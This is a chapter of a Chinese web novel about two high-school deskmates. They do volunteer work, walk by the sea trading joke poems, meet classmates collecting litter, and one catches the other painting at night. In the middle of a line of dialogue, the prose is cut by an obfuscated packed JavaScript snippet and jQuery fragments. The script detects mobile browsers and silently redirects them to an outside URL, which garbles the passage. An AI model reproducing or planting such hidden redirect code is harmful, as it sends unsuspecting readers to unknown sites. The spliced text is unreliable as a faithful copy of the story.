74.第七十四章 观海有感

作品:《同桌他身披马甲

    “有蚊子。”何非亮把小朋友送给他的大拇指贴纸揭下来,淡定地拍在了纪小鱼的衣服上——当然,是拇指朝下。^_^


    “啊?有蚊子?”


    “抱歉,”何非亮一脸无辜地耸了耸肩,“看错了。”


    “莫名其妙。”纪小鱼不太高兴地嘟囔道,“你该不会有飞蚊症吧。”


    总而言之,匆匆忙忙,一天的义工活动终于圆满结束了。


    在纪小鱼离开医院前,林茉茉悄悄告诉他,自己下下周就要做手术了。


    “做完这一个,还有一个,”林茉茉掰着手指数算,仰起脸露出一丝轻快的笑容,“如果都成功了的话,我就好了,可以像一个正常人一样了。但是,如果失败了其中一个的话,我就……”


    “哎呀,一定会都成功的啦!别担心!”纪小鱼这么说着,想要给林茉茉一个鼓励的笑容,却在低头的一瞬间,不小心对上了她清澈的目光。


    有什么东西一闪而过,是还没来得及藏好的惊惧与迷茫。那一瞬间纪小鱼仿佛洞悉到了那双眼睛里曾经掩埋着许多的伤心和疲惫。


    不不不,你不需要感觉到抱歉啊,生病又不是你的错……


    下意识冲到嘴边的话又不由地缩了回去。


    平白无故的安慰反而会让人感到窘迫,这是低情商的做法。高情商的纪小鱼觉得自己在这个问题上还是先闭嘴比较好。


    “嗯,”纪小鱼错开了和林茉茉对视的目光,他直起身子,自顾自地抚摸着光滑的下巴,双眼注视向遥远的前方,仿佛在展望着未来,“我看你有几分悟性,是个天资聪慧的好苗子。这样吧,等你出院以后,我就把我珍藏已久的学习秘籍传授给你,保你的成绩可以在学校里横着走,竖着走,斜着走,要多威风有多威风!”


    “怎么样,”纪小鱼冲林茉茉挤了挤眼睛,“是不是想想就有一点小激动呢?”


    “还好。”林茉茉对这一份宏图大业似乎缺乏足够的兴趣。


    但这并不能阻挡纪小鱼“好为人师”的热情。只见他背负双手,昂然而立,试图摆出一副高深莫测的模样——浑然不觉胸口处正张贴着一个拇指向下的贴纸。


    “林茉茉,”纪小鱼故作深沉地开口道,“等你长大以后,你就会明白,‘生活就像海洋,只有意志坚强的人才能到达彼岸[1]’。你再多坚持一下,美好的未来就在眼前了!”


    纪小鱼走后,林茉茉用铅笔在她的日记本上认真地填上了今天的日期,用一个小太阳代表了今天晴朗的天气,然后歪歪扭扭地写道——


    「


    今天纪小鱼来了。他是一个很搞笑、很滑jī的人。他很喜欢吹牛。我很想他明天也来,可是他说不行,他明天很忙,要去学校竞选校长。他还说我会有一个美好的未来。真的假的,我可以相信他吗?


    」


    ……


    海风阵阵,海浪滔滔。


    纪小鱼和何非亮沿着海岸线回家。


    这条路风景绝佳,只是稍微绕远。


    远望云端有孤鸿高飞;近观海面有野鸭横渡;仔细一看,海里亦有鱼成群结队,时而跃起,落下时荡起圈圈涟漪。


    道路的前方,一位父亲怀抱着他的孩子,声音洪亮地问道,“儿啊,看到大海,你想到了什么?”


    “海绵宝宝!”他的孩子快乐地回答,“还有派大星!”


    “嗯……你难道没有想到曹操的《观沧海》吗?我今天上午才教你背的。”


    “没有。”他的孩子诚实地回答,只不过这一次的声音比刚才的稍微弱小了一点。


    “没有也没关系,但你应该还记得怎么背吧?来,背给爸爸听一下!”


    小孩子呆呆地咬着手指,突然大哭了起来。


    在“哇哇”的哭声中,纪小鱼眉飞色舞地低声和何非亮炫耀道,“我会背!”


    “啧,初中必背古诗,”何非亮对此毫无夸赞的意思,“你会背不是应该的吗?”


    “哼!”面对何非亮如此不捧场的态度,纪小鱼嚣张跋扈地从鼻子里喷出一口气,“我还会写呢!”


    “哦?”何非亮微微挑起眉梢,“那——需不需要七步的时间?”


    “用不着!”纪小鱼眺望向海平面的尽头。


    何非亮静静地等着看纪小鱼怎么装逼,嘴角扬起一点似有若无的笑。


    彼时,海边翻涌着泡沫似的浪花,云边浮动着一抹梦幻似的轻红。风从遥远的地方吹来,夹杂着凉爽的快意。有些人光是站在那里就已经足够光彩夺目了,更何况还有夕阳衬托。


    纪小鱼朗声开口道——


    “


    看到大海,想到同桌。


    为什么呢,请听我说。


    我有同桌,其人如海。


    表面很浪,实际很卷。


    我有同桌,其人如海。


    浪里个浪,卷了又卷。


    幸甚至哉!歌以咏志。


    ”


    何非亮沉默了一下,没绷住,笑了出来。


    笑着笑着,他也不由地抬头眺望向了水天相接的界限,联想到江河,联想到游鱼,心中似有所动。


    天下江河,殊途同归,千百年来不舍昼夜地循着海拔的参差,自高向低,奔流到海。而后水气蒸腾,经天流地;化为百川,复归深海。轮回辗转,周行不殆。


    无论多么汹涌,河流也难违既定的方向和轨迹。


    而小小的游鱼,却反而能无拘无束,自在东西。


    身拘于天地,如鱼囿于水。


    境遇两相似,心难如鱼美。


    尝闻鱼可羡,今见鱼可愧。


    三千烦恼围,悠然甩鱼尾。[2]


    何非亮缓了缓,忽然开口道,“我倒有一首,名叫《咏鱼乐》。”


    “什么?”纪小鱼有点不明所以,“我只听过《永遇乐》!”


    “哎呀,既然你这么孤陋寡闻,”何非亮弯了弯眼睛,抬手摸了摸纪小鱼的头,“那叫《摸鱼儿》也行。”


    纪小鱼朝何非亮翻了个白眼,“算了,还是叫《咏鱼乐》吧!”


    正在这时,突然有人热情地招呼道,“嘿,班长!嘿,好兄弟!”


    纪小鱼循声望去,只见吕天明正一手拿着个长长的铁钳子,另一手朝他挥舞着。


    陈典不紧不慢地吊在吕天明的身后,身上只穿了一件篮球背心,坚实的肌肉却仿佛某种羽绒服一般凸起。他的肩上挑着一根不知从哪里捡来的树枝,上面拴着一个半瘪的大号黑色垃圾袋。见到了何非亮和纪小鱼,陈典好像显得有点别扭,但还是和他们说了一声“Hi”。


    “你们也是来捡垃圾的吗?”吕天明一句话差点把纪小鱼给吓坏了。


    “不、不是的。”纪小鱼结结巴巴地回答,“我们就是路、路过,路过而已。呃……你们在——捡垃圾???发生什么事了?”


    “哦,”吕天明淡定地向他们解释道,“我们报名了那个在海湾边上捡垃圾的义工活动。”


    原来是这样——纪小鱼这才松了口气。


    “呃……”但好像又轮到吕天明开始紧张了,他的目光小心翼翼地在纪小鱼和何非亮之间滑来滑去,“你们这是……不是在捡垃圾?嗯……那是……在一起……散步吗?”


    “啊,我们在讨论数学题,”纪小鱼尴尬地摸了摸鼻梁,“嗯……就是那个如何用线性代数处理多维数据来进行三维坐标识别。还有,呃……”


    “模运算和质数在密码学中的应用。”何非亮帮忙补充道。


    很好!吕天明和陈典的眼睛都开始打叉了。


    吕天明甩了甩头,感觉到了此地不可久留,连忙说道,“我们还要把捡垃圾的工具还回去,再打个卡什么的,我们先走了哦。拜拜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311461|176485||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”


    “拜拜!明天见!”纪小鱼和吕天明摇了摇手。


    “明天?”吕天明的脚步一个趔趄,似乎是受到了极大的惊吓,一边走一边嘴里接连地蹦出一些杂乱无章、不太文明的词句,最后,他说,“哦!陈典,你敢信,我明天要上学!”


    “我敢啊。S中要什么时候开学我都不会意外。”陈典挠了挠头,小声地嘟囔道,“但我有点不敢相信他们俩会在海边一起讨论数学题……这也太卷了吧……不过,那个纪小鱼倒还挺有个性的,说实话,我还蛮欣赏他的……”


    纪小鱼的耳朵惊喜地竖了起来。


    “你刚才看见没有,他那个衣服上的贴纸,嗯,就很拽……”


    “我也觉得,”吕天明的声音应和道,“有一种对这个世界朴实的嘲讽……啊,真不愧是我的好兄弟啊!”


    “那我呢?我是你的什么?”


    ……


    贴纸?什么贴纸?


    纪小鱼在冷冷的风中困惑地低下头,终于迟钝地注意到了外套上那个拇指向下的贴纸。


    啊啊啊啊啊!丢死人了!这玩意在我身上到底贴多久了???


    纪小鱼一把揭下了胸口的贴纸,扭过头,张牙舞爪地质问道,“喂,何非亮!说!这是不是你干的!”


    “啧,既然你诚心诚意地问了,那我就大发慈悲地告诉你——”


    还没等何非亮说完,纪小鱼就完完全全地失去了耐心,在海岸边开启了对何非亮的猎杀行动。


    -


    夜深了,纪小鱼终于突击写完了全部的英语报纸!厚厚的、一大叠的英文报纸!


    啊,这真是一个壮举!一个了不起的壮举!


    我真棒啊!


    纪小鱼伸了个懒腰,心满意足地瘫在了椅子上。


    唉,好渴哦,下楼倒杯水喝吧。


    其实早就感觉到渴了,只不过刚才正忙着把这些题都通通一鼓作气地写完。


    唉,真是太不容易了!


    想来这个世界上所有牛逼的事情都不容易。纪小鱼一边下楼一边在心里感慨道——这么多年来,自己真是太不容易了!怎么还是没能超过何非亮呢?这不科学啊!!!


    水倒回来了,路过何非亮的房门前,纪小鱼警觉地刹住了脚步。


    等等,有情况!


    光从门底的缝隙里漏了出来,一道昏黄的线。


    啊哈!


    纪小鱼的嘴角勾起了一丝略显狰狞的笑——


    啧啧啧,何非亮!功夫不负有心人,终于被我逮到你在半——夜——偷——卷——了吧!!!


    哦呵呵呵,赶紧交出你偷学的宝题吧!!!哈哈哈哈!


    纪小鱼的周身散发出了邪恶的火焰,他一手拿着杯子,另一手气势汹汹地压着门把,整个人就这么闯了进去,随及愣在了门边。


    什么?何非亮大晚上的不睡觉,竟然在——画画!?


    啊,这……


    纪小鱼觉得自己有点要汗流浃背了。


    何非亮坐在画架前,手里提着还蘸着颜料的画笔。听到动静以后,他诧异地侧过身来,眨了眨眼睛,问道,“小鱼?”


    侧过身的空当,纪小鱼看见了画布上已经上好了色的玫瑰地,一片暗夜里盛大的、含苞的花海。


    “对不起,打扰了,”纪小鱼觉得鼻尖有点痒,忍不住抬手揉了揉,“我——走错了!”


    何非亮一脸怀疑地打量着他。


    “啊不——”纪小鱼自己也意识到了这个借口实在是很扯,“我是说——”


    在这令人冷汗涔涔的危难关头,纪小鱼终于急中生智,及时地把手里倒好的水殷勤地向前递了过去,并且挤眉弄眼地露出了一个既恭谨又谦卑的难看笑容。


    “少爷,您辛苦了!”纪小鱼捏着嗓子道,“老奴这是来——给您送热水的!”